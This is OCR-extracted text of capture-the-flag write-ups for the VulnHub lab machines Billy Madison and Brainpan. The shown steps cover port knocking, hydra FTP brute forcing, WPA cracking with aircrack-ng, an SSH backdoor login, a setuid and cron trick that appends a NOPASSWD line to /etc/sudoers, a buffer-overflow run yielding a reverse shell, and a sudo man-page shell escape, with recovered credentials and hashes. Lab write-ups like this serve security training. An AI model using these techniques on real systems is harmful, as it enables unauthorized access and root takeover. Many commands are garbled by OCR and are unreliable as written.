Gobuster v1.4.1 03 Reeves (@TheColonial)

[+] Mode +odir

[+] Url/Domain  : http://192.168.92.167/exschmenuating/

[+] Threads 10

[+] Wordlist : veronica.wordlist

[+] output file : /root/toolbox/data/vulnhub/billymadisonldotl/results/192.168.92.167/scans/tcp 80 http_gobuster dirbuster.txt
[+] status codes : 483,500,200,204,301,302,307

[+] show length : true

[+] Extensions : .cap,.pcap,.capture

[+] Expanded : true

http://192.168.92.167/exschmenuating/012987veronica.cap (Status: 200) [Size: 8700]

root@kali: #

Figure 7: writeup.enumeration.steps.5.2

6. Ran a port knock using the Spanish Armada combo to open the FTP backdoor:

for port in 1466 67 1469 1514 1981 1986; do nmap -Pn --host_timeout 201 --max-retries O -p
o ${port} 192.168.92.167; done
nmap -p21 192.168.92.167

7. Found FTP password for user veronica using hydra and the custom wordlist created earlier:

hydra -1 veronica -P veronica.wordlist 192.168.92.167 ftp -
- veronica/babygirl_veronica07@yahoo.com


https://www.youtube.com/watch?v=z5YU7JwVy7s

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl # hydra -t 4 -1 veronica -P veronica.wordlist 192
|.168.92.167 ftip

Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations
, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-05 19:01:36

[DATA] max 4 tasks per 1 server, overall 4 tasks, 894 login tries (Ll:1/p:@), ~894 tries per task
[DATA] attacking ftp://192.168.92.167:21/

f[STATUS] 587.60 tries/min, 587 tries in 08:008h, 0 to do in 81:86h, 307 active

[[21][ftp] host: 192.168.92.167 login: veronica password: babygirl veronica07@yahoo.com

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2019-89-05 19:82:51

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

Figure 8: writeup.enumeration.steps.7.1

8. Found FTP password for user eric from the network capture file 012987veronica. cap:

1 eric/ericdoesntdrinkhisownpee

012987veronica.cap

Follow TCP Stream (tcp.stream eq 2) e & 8

Stream Content
| EHLO Kali

| MAIL FROM:<eric@madisonhotels.com>

| RCPT TO:<vvaughn@polyfector.edu> [
| DATA

| Date: 5at, 20 Aug 20816 21:57:11 -0560

To: vvaughn@polyfector.edu

From: eric@madisonhotels.com

Subject: test Sat, 20 Aug 2016 21:57:11 -0500

X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/
RE[2]: VIRUS ALERT!

Veronica,

Thanks that will be perfect. Please set me up an account with username of "eric" and
I. password "ericdoesntdrinkhisownpee." I

{ |
-Eric

![.}UIT

[ Entire conversation (471 bytes) - ‘

‘ Find ” Save As “ Print "Z:ZIASCII (JEBCDIC () Hex Dump (1 C Arrays (=) Raw

Help ‘ Filter Out This Stream H Close ‘

Figure 9: writeup.enumeration.steps.8.1

9. Connected as user eric to the FTP service and found a .notes file:

1 ftp://eric@192.168.92.167/.notes



1

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl # cat notes
Ugh, this is frustrating.

I managed to make a system account for myself. I also managed to hide Billy's paper
where he'll never find it. However, now I can't find it either :-{.

To make matters worse, my privesc exploits aren't working.

One sort of worked, but I think I have it installed all backwards.

If I'm going to maintain total control of Billy's miserable life (or what's left of it)
I need to root the box and find that paper!

[Fortunately, my S5H backdoor into the system IS working.
A11 I need to do is send an email that includes
the text: "My kid will be a "

Hint: https://www.youtube.com/watch?v=6u7RsW55Ags

The new secret port will be open and then I can login from there with my wifi password, which I'm
sure Billy or Veronica know. I didn't see it in Billy's FTP folders, but didn't have time to
check Yeronica's.

-EG
root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

Figure 10: writeup.enumeration.steps.9.1

10. Found reference to a SSH backdoor that requires sending an email with text My kid will be a **soccer
playerxx:

'swaks --to eric@madisonhotels.com —-from vvaughn@polyfector.edu --server 192.168.92.167:2525
» ——body "My kid will be a soccer player" —--header "Subject: My kid will be a soccer player"'



root@kali: ~/toolbox/data/vulnhub/billymadisonldotl # swaks --to eric@madisonhotels.com --from vvaugh
n@polyfector.edu --server 192.168.92.167:2525 --body "My kid will be a soccer player" --header "Subje
ct: My kid will be a soccer player”
=== Trying 192.168.92.167:2525...
=== Connected to 192.168.92.167.
<- 220 BM ESMTP SubEthaSMTP null
-= EHLO kali
<- 2508-BM
<- 250-8BITMIME
<- 250-AUTH LOGIN
<- 250 0k
-> MAIL FROM:<vvaughn@polyfector.edu>
<- 250 0k
-= RCPT TO:<eric@madisonhotels.com=
<- 250 0k
-= DATA
<- 354 End data with <CR><LF>.<CR><LF=>
-> Date: Thu, 05 Sep 2019 19:18:17 -0700
-> To: eric@madisonhotels.com
-> From: vvaughn@polyfector.edu
-> Subject: My kid will be a soccer player
-> Message-Id: =20198985191817.007782@kali>
-> X-Mailer: swaks v20170101.0 jetmore.org/john/code/swaks/

-> My kid will be a soccer player

=- 250 0k
-= QUIT
<- 221 Bye
=== Connection closed with remote host.
root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

Figure 11: writeup.enumeration.steps.10.1

11. Port 1974/tcp is the SSH backdoor placed on the target host by user eric:

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl # nmap -sT -Pn 192.168.92.167
Starting Nmap 7.70 ( https://nmap.org ) at 2019-89-65 19:19 PDT
Mmap scan report for 192.168.92.167

Host is up (©.042s latency).

Mot shown: 992 filtered ports

PORT STATE SERVICE

21/tcp open Ttp

22/tcp open ssh

23/tcp open telnet

80/tcp open http

139/tcp open netbios-ssn

445/tcp open microsoft-ds

1974/tcp open drp

2525/tcp open ms-v-worlds

Mmap done: 1 IP address (1 host up) scanned in 9.36 seconds
root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

Figure 12: writeup.enumeration.steps.11.1

12. Found a network capture file eg-01.cap from user veronica’s FTP directory:



1 ftp://veronica@192.168.92.167/eg-01.cap

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl # ftp 192.168.92.167
Connected to 192.168.92.167.

220 Welcome to ColoradoFTP - the open source FTP server (www.coldcore.com)
Mame (192.168.92.167:root): veronica

331 User name okay, need password.

Password:

230 User logged in, proceed.

Remote system type is UNIX.

ftp> binary

200 Type set to I

ftp= get eg-8l.cap

local: eg-01.cap remote: eg-01.cap

200 PORT command successful.

158 Opening I mode data connection for eg-81.cap.

226 Transfer completed for "eg-01.cap".

719128 bytes received in ©.87 secs (803.3299 kB/s)

ftp= 221 Logged out, closing control connection.

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

Figure 13: writeup.enumeration.steps.12.1

Findings
Open Ports
1 22/tcp |  tcpwrapped |
2 23/tcp | telnet? |
s 69/tcp | caldav | Radicale calendar and contacts server (Python BaseHTTPServer)
4+ 80/tcp | http | Apache httpd 2.4.18 ((Ubuntu))
5 139/tcp | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
6 445/tcp | netbios-ssn | Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
7 2525/tcp | smtp | SubEtha smtpd
Files

1 http://192.168.92.167/exschmenuating
2 http://192.168.92.167/exschmenuating/012987veronica. cap

Users

1 ssh: eric, veronica

10



Phase #2: Exploitation

1. From the storyline so far, user eric has reused WiFi password for SSH login. We need to extract the WiFi
password from eg-01.cap file. We run an aircrack scan on the file and get SSH password:

1 aircrack-ng eg-0l.cap -w /usr/share/wordlists/rockyou.txt -+ triscuit*

[00:24:15] 1699520,/9822768 keys tested (1176.28 k/s)
Time left: 1 hour, 55 minutes, 7 seconds 17.30%

KEY FOUND! [ triscuit* ]

Master Key : 9E 8B 4F E6 CC 5E E2 4C 46 B4 D2 AF 59 4B 21 6D
B5 3B 52 84 04 9D D8 D8 83 67 AF 43 DC 60 CE 92

Transient Key : 4C 81 OF B5 A2 EE 2D 9F CC 8F ©5 D2 82 BF F4 4E
AE 4E C9 ED EA 31 37 1E E7 29 10 13 92 BB B7 8A
AE 70 95 F8 62 20 B5 2B 53 8D ©C 5C DC 1E 9B BO
AB 9C EF 86 87 09 Fo© 4B BA 48 02 0C FC 41 AC 00

EAPOL HMAC : 86 63 53 4B 77 52 B2 0C 73 4A FA CA 19 79 65 33
root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #
root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #
root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #
root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

Figure 14: writeup.exploitation.steps.1.1

2. We login as user eric to the SSH backdoor and gain initial shell access:

1 ssh -pl974 eric@192.168.92.167

11
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root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl # ssh eric@192.168.92.167 -p 1974

The authenticity of host '[192.168.92.167]1:1974 ([192.168.92.167]:1974)' can't be established.
ECDSA key fingerprint is SHA256:1z1zMYr38vrfL6+TiWOTdOAxC2ymMj /umd@B6LXxPAOLM.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '[192.168.92.167]:1974
eric@l92.168.92.167's password:

(ECDSA) to the list of known hosts.

Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-36-generic x86 64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

210 packages can be updated.
12 updates are security updates.

Last login: Sat Aug 20 22:28:28 2016 from 192.168.3.101

=%
:~% id
uid=1002(eric) gid=1082(eric) groups=1082(eric)
=%
:~$% uname -a

Linux BM 4.4.0-36-generic #55-Ubuntu SMP Thu Aug 11 18:©1:55 UTC 2016 x86 64 x86 64 x86 64 GNU/Linux

~$
:~% ifconfig

etho Link encap:Ethernet HWwaddr 00:0c:29:1a:ed:6cC
inet addr:192.168.92.167 Bcast:192.168.92.255 Mask:255.255.255.0
UP BROADCAST RUMNING MULTICAST MTU:15080 Metric:1
RX packets:6249 errors:0® dropped:® overruns:® frame:®
TX packets:4399 errors:® dropped:® overruns:® carrier:0

collisions:® txqueuelen:1080

RX bytes:494286 (494.2 KB) TX bytes:1822710 (1.8 MB)

lo Link encap:Local Leoopback
inet addr:127.0.8.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:164 errors:0 dropped:® overruns:8 frame:@
TX packets:164 errors:0 dropped:®@ overruns:@ carrier:0

collisions:® txqueuelen:1

RX bytes:12040 (12.0 KB) TX bytes:12040 (12.8 KB)

Figure 15: writeup.exploitation.steps.2.1

Phase #2.5: Post Exploitation

eric@BM> id

1uid=1002(eric) gid=1002(eric) groups=1002(eric)
eric@BM>

eric@BM> uname

Linux BM 4.4.0-36-generic #55-Ubuntu SMP Thu Aug 11 18:01:55 UTC 2016 x86_64 x86_64 x86_64

s GNU/Linuz
eric@BM>
eric@BM> ifconfig

ethO Link encap:Ethernet HWaddr 00:0c:29:1a:ed:6c¢c
inet addr:192.168.92.167 Bcast:192.168.92.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:10919 errors:0 dropped:0 overruns:0 frame:0
TX packets:342 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

12
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RX bytes:742406 (742.4 KB)
eric@BM>
eric@BM> users
billy
veronica
eric

TX bytes:39258 (39.2 KB)

13



Phase #3: Privilege Escalation
1. While searching for setuid files we see an uncommon binary:

find / -type f -perm -04000 2>/dev/null -+ /usr/local/share/sgml/donpcgd

2. We test this binary and find that it requires two file path parameters. It creates an empty file at path passed as
argument #2 with permissions of file passed as argument #1:

:~% find / -perm -04000 -type f 2=/dev/null
Jusr/local/share/sgml/donpcgd
Jusr/bin/sudo
Jusr/bin/pkexec
Jusr/bin/passwd
Jusr/bin/newgidmap
Jusr/bin/chsh
Jusr/bin/gpasswd
Jusr/bin/newuidmap
Jusr/bin/newgrp
Jusr/bin/at
Jusr/bin/chfn
Jusr/lib/snapd/snap-confine
Jusr/lib/eject/dmcrypt-get-device
/usr/lib/x86 64-linux-gnu/lxc/lxc-user-nic
Jusr/lib/policykit-1/polkit-agent-helper-1
Jusr/lib/openssh/ssh-keysign
Jusr/lib/dbus-1.8/dbus-daemon-launch-helper
“C
~$
1~%
:~%$ 1s -1 fusr/local/share/sgml/donpcgd
-r-sr-s--- 1 root eric 372922 Aug 20 2016 [IENIEEE IR EENEEEE
~$
=%
:~$% /usr/local/share/sgml/donpcgd
Usage: /usr/local/share/sgml/donpcgd pathl path2
i~$

Figure 16: writeup.privesc.steps.2.1

3. Used this to create a empty file at file path /etc/cron.hourly/testing with chmod 777 permissions. We then
added commands to this new file to add user eric to /etc/sudoers:

touch testing

chmod 777 testing

echo -e '#!/bin/bash\necho "eric ALL=(ALL) NOPASSWD:ALL" >>/etc/sudoers'’
- >/etc/cron.hourly/testing

14



eric@BM:~% touch testing

eric@BM:~% chmod 777 testing

eric@BM:~5% 11

total 540

drwxr-xr-x 4 eric eric 4096 Sep 5 21:38 ./

drwxr-xr-x 6 root root 4096 Aug 20 2016 ../

Sl EEEE 1 eric eric 799 Sep 5 21:31 .bash history
-rW-r--r-- eric eric 220 Aug 20 2016 .bash logout
-MW-r--r-- 1 eric eric 3771 Aug 20 2016 .bashrc
drwx------ 2 eric eric 4096 Aug 20 2016 .cache/

=

-rw-r--r-- 1 root root 451885 Aug 7 2016 eric-tongue-animated.gif
-rw-r--r-- 1 root root 60710 Aug 7 2016 eric-unimpressed.jpg
-rw-r--r-- 1 eric eric 655 Aug 20 2016 .profile

Srwxrwxrwx 1 eric eric O Sep 5 21:38 testing*

drwxrwxr-x 2 eric eric 4096 Sep 5 21:28 tmp/

-rw-r--r-- 1 root root 115 Aug 20 2016 why-1974.txt

eric@BM:~%

eric@BM:~%

eric@BM:~$

eric@BM:~% fusr/local/share/sgml/donpcgd ./testing /etc/cron.hourly/testing
#### mknod (/etc/cron.hourly/testing,81ff,0)

eric@BM:~%

eric@BM:~$

eric@BM:~% 11 /fetc/cron.hourly

total 12

drwxr-xr-x 2 root root 4096 Sep 5 21:39 ./
drwxr-xr-x 185 root root 4096 Sep 5 20:10 ../
-FWXF-Xr-X 1 root root @ Sep 5 21:34 addsudo¥*
-rw-r--r-- 1 root root 182 Apr 5 2016 .placeholder
- FWX WX WX 1 eric eric 0 Sep 5 21:39 testing*
eric@BM:~%

eric@BM:~$

eric@BM:~% echo -e '#!/bin/bash\necho "eric ALL=(ALL) NOPASSWD:ALL" =>/etc/sudoers' =/etc/cron.hourl$
/testing

eric@BM:~$

eric@BM:~%

eric@BM:~% 11 /etc/cron.hourly

total 16

drwxr-xr-x 2 root root 4096 Sep 5 21:39 ./
drwxr-xr-x 185 root root 4096 Sep 5 20:10 ../
-FWXF-Xr-X 1 root root 0 Sep 5 21:34 addsudo*
-rW-r--r-- 1 root root 102 Apr 5 2016 .placeholder
- FWX WX FWX 1 eric eric 62 Sep 5 21:39 testing*
eric@BM:~$

Figure 17: writeup.privesc.steps.3.1

4. We had to wait for an hour for the cron job to execute and after that running the sudo -1 command confirmed
that sudoers permissions are now enabled for user eric. We then changed to user root:

sudo -1
sudo su

15



eri 1:~% sudo -1
Matching Defaults entries for eric on BM:
env_reset, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin%:/snap/bin

User eric may run the following commands on BM:
(ALL) NOPASSWD: ALL
@BM:

root@eM: /home/eric#
root@BM: /home/eric# id
uid=6(root) gid=0(root) groups=0(root)
root@BM: /home/eric#
root@eM: /home/eric# uname -a
Linux BM 4.4.8-36-generic #55-Ubuntu SMP Thu Aug 11 18:81:55 UTC 2016 x86_64 x86 64 xB6 64 GNU/Linux
root@BM: /home/eric#
root@BM: /home/eric# ifconfig
ethe Link encap:Ethernet HWaddr 00:8c:29:1a:ed:6c¢
inet addr:192.168.92.167 Bcast:192.168.92.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1580 Metric:1
RX packets:15687 errors:0 dropped:® overruns:@ frame:0
TX packets:2567 errors:0 dropped:® overruns:® carrier:@
collisions: @ txqueuelen:1008
RX bytes:1146849 (1.1 MB) TX bytes:320625 (320.6 KB)

lo Link encap:Local Loopback
inet addr:127.8.8.1 Mask:255.0.8.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:190 errors:0 dropped:0 overruns:0 frame:@
TX packets:190 errors:8 dropped:® overruns:® carrier:8
collisions:@ txqueuelen:1
RX bytes:13548 (13.5 KB) TX bytes:13548 (13.5 KB)

root@BeM: /home/eric#

Figure 18: writeup.privesc.steps.4.1

5. We copied BowelMovement and hints.txt files from /PRIVATE/ directory to /home/eric/ and changed file
owner to user eric. Then we download both files locally using scp:

scp -pl974 eric@192.168.92.167:/home/eric/BowelMovement ./
scp -pl974 eric@192.168.92.167:/home/eric/hints.txt ./

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl # scp -P1974 eric@192.168.92.167:/home/eric/Bowel
Movement ./

eric@l92.168.92.167's password:

BowelMovement 100% 1024KB 44.9MB/s 00:00

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl # scp -P1974 eric@l92.168.92.167:/home/feric/hint.
Xt ./

eric@l92.168.92.167's password:

hint.txt 1ges 221 156.3KB/s 00:00
root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

Figure 19: writeup.privesc.steps.5.1

6. The hints.txt file hinted at a possible password from the Wikipedia page BillyMadison. We used cewl to
create a wordlist from the wiki page:
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https://en.wikipedia.org/wiki/Billy_Madison

1 cewl -d0 "https://en.wikipedia.org/wiki/Billy_Madison" >wiki.wordlist

root@kali: -/toolbox/data/vulnhub/billymadisonldotl # cat hint.txt
Heh, I called the file BowelMovement because it has the same initials as
Billy Madison. That truely cracks me up! LOLOLOL!

I always forget the password, but it's here:
https://en.wikipedia.org/wiki/Billy Madison

-EG
root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

Figure 20: writeup.privesc.steps.6.1

7. We then ran a password bruteforce on BowelMovement file as a truecrypt encrypted blob using truecrack and
found it key:

1 truecrack -t BowelMovement -w wiki.wordlist -+ execrable

jroot@kali: ~/toolbox/data/vulnhub/billymadisonldotl # truecrack -t BowelMovement -w wiki.wordlist
TrueCrack v3.0

Website: http://code.google.com/p/truecrack

iContact us: infotruecrack@gmail.com

[Found password: "execrable"
Password length: "1e"
Total computations: "1e1"

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

Figure 21: writeup.privesc.steps.7.1

8. Mounting the decrypted BowelMovement file reveals a partition with secret.zip that contains both
Billy_Madison_12th_Grade_Final_Project.doc and THE-END.txt files.

17
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Hashes

billy:$6$eqINxIDh$o0. ynkHZmL.xfrOk8YXHHdbyB4boe2two4HnEi JzzuVEUhOwOpaEtVCmHXziHhZIet71QcLqhqnV/ |
o iknE/. ..o
veronica:$6$ud46500g$j9dN4Xh6nHTDUQSLpnrUz16FdRiapcGvjg0JUu2/ |
- Wx.G5Q.PFtbv.sa40JyNnzTVsFEMmgnEZQVInxGFiy........ ... ...t
eric:$6$b15/PaMUSVKQussKbrXty79HD4A989SVCn .7 . u6bJLMvsFgDSgiMO1G1yM/ |
< 1hb1xFORcX90606aIMbP7XoVI2FSUZI. ... ......... ... ou...

Credentials

ftp: veronica/babygirl_veronicaO7@Qy........ , eric/ericdoesntdrinkhis......
ssh: eric/triscu...
truecrypt: execrab..

References

[+] https://www.vulnhub.com/entry/billy-madison-11,161/
[+] https://g0blin.co.uk/billy-madison- 1-vulnhub-writeup/
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https://www.vulnhub.com/entry/billy-madison-11,161/
https://g0blin.co.uk/billy-madison-1-vulnhub-writeup/

[VulnHub| Brainpan: 1

Date: 31/Aug/2019
Categories: oscp, vulnhub, linux
Tags: exploit_ bof, privesc_anansi, privesc_ sudo

Overview

This is a writeup for VulnHub VM Brainpan: 1. Here are stats for this machine from machinescli:

machinescli -t --info "vulnhub#51"

@ & privesc_anansi

1. vulnhub#51 Brainpan: 1
privesc_sudo

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/brainpan-1,51/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_bof&unscoped_q=exploit_bof
https://github.com/7h3rAm/writeups/search?q=privesc_anansi&unscoped_q=privesc_anansi
https://github.com/7h3rAm/writeups/search?q=privesc_sudo&unscoped_q=privesc_sudo
https://www.vulnhub.com/entry/brainpan-1,51/
https://github.com/7h3rAm/machinescli

[VulnHub] Brainpan: 1

1 192.168.92.141 |

¥
‘Phase #1: Enumeratinn‘

Y Y
‘gggsxtcp‘ ‘1ﬂﬂﬂﬂjtcp‘

h 4
‘http:fjlgz.168.92.141:1ﬂﬂﬂﬂfbinfbrainpan.exe

h

Phase #2: Exploitation

Y

create a bof exploit and send to 9999/tcp

h

9999/tcp

/bin/bash

. Y '
Phase #3: Privilege Escalation

. h 4 ,
sudo -1

h 4
‘sudo jhomefanansijbinfanansi_util‘

h 4
‘view man page option - jbin!bash‘

Figure 2: Writeupéoverview.killchain



TTPs

1. 9999/tcp/abyss?: privesc_anansi, privesc_sudo
2. 10000/tcp/http/SimpleHTTPServer 0.6 (Python 2.7.3): exploit_ bof


https://github.com/7h3rAm/writeups#privesc_anansi
https://github.com/7h3rAm/writeups#privesc_sudo
https://github.com/7h3rAm/writeups#exploit_bof
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Phase #1: Enumeration

1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Wed Jul 31 15:33:35 2019 as: mmap —-vv --reason —Pn -sV -sC

o —-version-all -oN

o~ /root/toolboxz/vulnhub/brainpan/results/192.168.92.141/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/vulnhub/brainpan/results/192.168.92.141/scans/zml/_quick_tcp_nmap.zml
o 192.168.92.141

Nmap scan report for 192.168.92.141

Host is up, received arp-response (0.00077s latency).

Scanned at 2019-07-31 15:33:36 PDT for 44s

Not shown: 998 closed ports

Reason: 998 resets

PORT STATE SERVICE REASON VERSION

9999/tcp open abyss? syn-ack ttl 64

| fingerprint-strings:

|  NULL:

1l

I U R D O

) U O B B B
I_| |

I _l
[ ______ VWELCOME TO BRAINPAN o 1]

_ ENTER THE PASSWORD
0000/tcp open http syn-ack ttl 64 SimpleHTTPServer 0.6 (Python 2.7.3)
http-methods:
_  Supported Methods: GET HEAD
_http-server-header: SimpleHTTP/0.6 Python/2.7.3
_http-title: Site doesn't have a title (text/html).

service unrecognized despite returning data. If you know the service/version, please submit
< the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.70%I=9%D=7/31%Time=5D421747%P=1686-pc-linux-gnujr (NULL
SF:,298," \1\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\ | \x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\n_\I_\1_\1\x20\x20\x20\x20_\ [\x20\x20_\ | _\[\x20\x20\x20\x20_\|_\|_\[\x
SF:20\x20\x20\x20\x20\x20_\ | _\ | _\1\x20\x20\x20\x20_\|_\|_\1\x20\x20\x20\x2
SF:0\x20\x20_\ | _\1_\1\x20\x20_\ | _\1_\[\x20\x20\n_\ | \x20\x20\x20\x20_\ | \x20
SF:\x20_\|_\[\x20\x20\x20\x20\x20\x20_\ | \x20\x20\x20\x20_\ | \x20\x20_\ [ \x20
SF:\x20_\[\x20\x20\x20\x20_\ | \x20\x20_\ | \x20\x20\x20\x20_\ [ \x20\x20_\ [\x20
SF:\x20\x20\x20_\ [\x20\x20_\ [\x20\x20\x20\x20_\ | \n_\ | \x20\x20\x20\x20_\|\x
SF:20\x20_\[\x20\x20\x20\x20\x20\x20\x20\x20_\ | \x20\x20\x20\x20_\ | \x20\x20
SF: \1\x20\x20_\[\x20\x20\x20\x20_\ |\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20
SF:_\1\x20\x20\x20\x20_\|\x20\x20_\ [\x20\x20\x20\x20_\ [\n_\|_\|_\1\x20\x20
SF:\x20\x20_\ [\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\ | _\|_\1\x20\x20_\|
SF:\x20\x20_\ | \x20\x20\x20\x20_\ | \x20\x20_\ | _\|_\1\x20\x20\x20\x20\x20\x20
SF:_\I_\1_\1\x20\x20_\[\x20\x20\x20\x20_\ [ \n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20_\\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20_\|\n\n\ [ \x20WELCOME\x20T0\x20BRAINPAN\x20

SF: \]1\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x

SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x20

I
I
I
I
I
I
1
I
I
I
[
1
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SF: THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20>>\x20") ;

MAC Address: 00:0C:29:4F:0B:E6 (VMware)

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 31 15:34:20 2019 -- 1 IP address (1 host up) scanned in 45.02 seconds

2. Downloaded file from http://192.168.92.141:10000/bin/brainpan.exe.

3. Here’s the summary of open ports and associated AutoRecon scan files:

4 openports

# Port Protocol  Service Scans

128 9999/tcp abyss? ttl 64

2. 10000/ tcp caldav ttl 64 Radicale calendar and contacts server (Python BaseHTTPServer)

0000_http_gobuster.txt
1ttp_nikto.txt
p_nmap.txt

18 _http_robots.txt

/tcp_10000_http_whatweb.txt

Figure 3: writeup.enumeration.steps.3.1

Findings

Open Ports

9999/tcp | abyss? |

10000/tcp | http | SimpleHTTPServer 0.6 (Python 2.7.3)
Files

http://192.168.92.141:10000/bin/brainpan.exe


https://github.com/Tib3rius/AutoRecon
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Phase #2: Exploitation

1. BoF in a vulnerable service running on 9999/tcp. File for the vulnerable service is avilable for download via a
HTTP server running on 10000/tcp. Analyze the service, create exploit and gain remote access to VM.

root@kali: ~/toolbox/data/vulnhub/brainpan # python sploit.py
[+] Connecting to IP: 192.168.92.141 at PORT: 9999
[+] Connected!

[ WELCOME TO BRAINPAN ]
ENTER THE PASSWORD

==
[+] Sending the payload
[+] DONE! A reverse shell is on its way :) !
root@kali: ~/toolbox/data/vulnhub/brainpan #

Figure 4: writeup.exploitation.steps.1.1

Phase #2.5: Post Exploitation

puck@brainpan> id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
puck@brainpan>
puck@brainpan> uname
Linux brianpan 3.5.0-25-generic #39-Ubuntu SMP Mon Feb 25 19:02:34 UIC 2013 1686 1686 1686
s GNU/Linuz
puck@brainpan>
puck@brainpan> ifconfig
ethO Link encap:Ethernet HWaddr 00:0c:29:4f:0b:e6
inet addr:192.168.92.141 Bcast:192.168.92.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:10919 errors:0 dropped:0 overruns:0 frame:0
TX packets:342 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:742406 (742.4 KB) TX bytes:39258 (39.2 KB)
puck@brainpan>
puck@brainpan> users
reynard
anansi
puck



Phase #3: Privilege Escalation

1. There’s a binary, anansi_util that allows sudo access. Running the service, we see that it has 3 options, one
of which is to view man page for any command. We use this option to escape to shell.

puck@brainpan: /home/puck$ sudo /home/anansi/bin/anansi_util manual test
sudo /home/anansi/bin/anansi util manual test

Mo manual entry for manual

WARNING: terminal is not fully functional

- (press RETURN)/bin/bash

Cannot seek to that file position (press RETURN}

Pattern not found (press RETURN)!/bin/sh

1/bin/sh

#

# id

id

uid=0(root) gid=0(root) groups=0(root)
B

# uname -a

uname -a

Linux brainpan 3.5.0-25-generic #39-Ubuntu SMP Mon Feb 25 19:82:34 UTC 2013 1686 1686 1686 GNU/Linux
#

Figure 5: writeup.privesc.steps.1.1



Loot
Hashes

root:$6$m20VI71w$172. XYFP3mbOFbp/ |
< IgxPQJJKDgdOhg34jZD5sxVMIx3dKq.DBwv.mw3HgCmRAOQcN4TCzaUtmx4ChDvZa. . ... ..o vvi i
reynard: $6$h54J. qxd$yL5md3J4d0NwN1 . 36 |
